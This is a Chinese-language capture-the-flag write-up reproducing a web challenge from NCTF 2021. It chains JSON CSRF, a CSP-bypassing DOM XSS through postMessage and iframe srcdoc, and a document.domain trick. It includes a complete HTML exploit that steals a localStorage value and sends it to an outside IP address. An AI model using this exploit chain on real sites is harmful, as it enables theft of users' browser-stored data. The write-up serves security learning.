通過復現NCTF 兩道Xss的題目,感覺前端的知識又學習了不少
題目鏈接:
https://github.com/X1cT34m/NCTF2021/tree/main/web
官方WP:
https://mp.weixin.qq.com/s/djcrr8LrhZDsKwkVBJ6AVQ
本地構建 Docker 經常因為網路問題報錯,需要更換源和設定代理來解決

通過openssl自簽名證書在docker內配置https,但是瀏覽器一直顯示有安全問題,無奈之下購買了一個域名繼續復現


第一步:主站存在存在Json Csrf ,服務端沒有限制了請求 Content-Type 必須是 application/json,導致攻擊者可以構造惡意頁面以用戶身份提交 Content-Type為text/plain 表單,偽造包含有效JSON資料的請求

第二步:繞過 Content-Security-Policy (簡稱CSP) 進行Xss
這里涉及到 一個Web Api ? window.addEventListener ,查閱了相關資料才知道 window.addEventListener 是一個事件監聽器,事件發生后會呼叫相應的回呼函式處理
index.html 獲取到 /note 路由的內容 然后通過postMessage 發送
sanbox.html 的監聽器監聽到后,會將內容通過innerHTML寫入頁面,存在DOM Xss
但是由于 SCP 的存在,如果想執行script腳本,首先會有script-src nonce 的限制,而store的CSP 允許訪問主站內容,那試試加載 主站/note 中插入的js陳述句,結果被 X-Frame-Options 攔了
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9J2h0dHBzOi8veWFuc2h1c21pbGUudG9wL25vdGUvJz48L3NjcmlwdD4=">

所以只能用iframe的srcdoc來加載主站插入js陳述句,Xss payload:
alert(1);`<iframe srcdoc="<script src='https://yanshusmile.top/note/'></script>">`

這里還有個坑 ,使用同樣的payload在火狐瀏覽器上打不通

第三步:能實作Store站的Xss后,就要想辦法將主站中的localStorage的flag帶出來了,而localStorage也是受到跨域保護的,所以需要將兩個站設定為同源,使兩個站 document.domain=document.domain

主站與store站存在?個互相postMessage的通信,主站會將store站 postMessage 的內容賦值 ,我們可以通過store站的xss回傳 我們需要構造的屬性,利用set函式對主站的document.domain 進行賦值


當主站和store站兩者同源后,就可以bypass CSP帶出localStorage的flag了
Exp:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SOLVE</title>
</head>
<body>
<script>
const url = "https://yanshusmile.top";
async function poc() {
let form = document.createElement("form");
form.id = "addPost";
form.method = "POST";
form.action = `${url}/note/add`;
form.enctype = "text/plain";
let src = `<script src=${url}/note>\<\/script>`;
const payload = 'document.domain=\'yanshusmile.top\';parent.parent.postMessage({\'document.domain\':\'yanshusmile.top\'},\'*\');setTimeout(()=> parent.parent.location=\'http://47.99.120.46:8000/?data=\'+parent.parent.localStorage.flag, 200);'+'`<iframe srcdoc=\\"'+src+'\\"></iframe>`';
let input = document.createElement("input");
input.name = `{"content":"${payload}", "test":"`
input.value = 'yanshusmile"}'
form.appendChild(input);
document.body.appendChild(form);
document.getElementById("addPost").submit();
}
(async () => {
poc();
})();
</script>
</body>
</html>
嘗試用瀏覽器訪問 url 的時候 ,能正常跳轉并且帶出資料

而bot訪問卻不行,出題的師傅建議修改一下bot ,添加await sleep(3000) ,讓頁面完全跳轉過去

成功帶出資料:
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/413255.html
標籤:其他
上一篇:云函式隱藏c2服務器
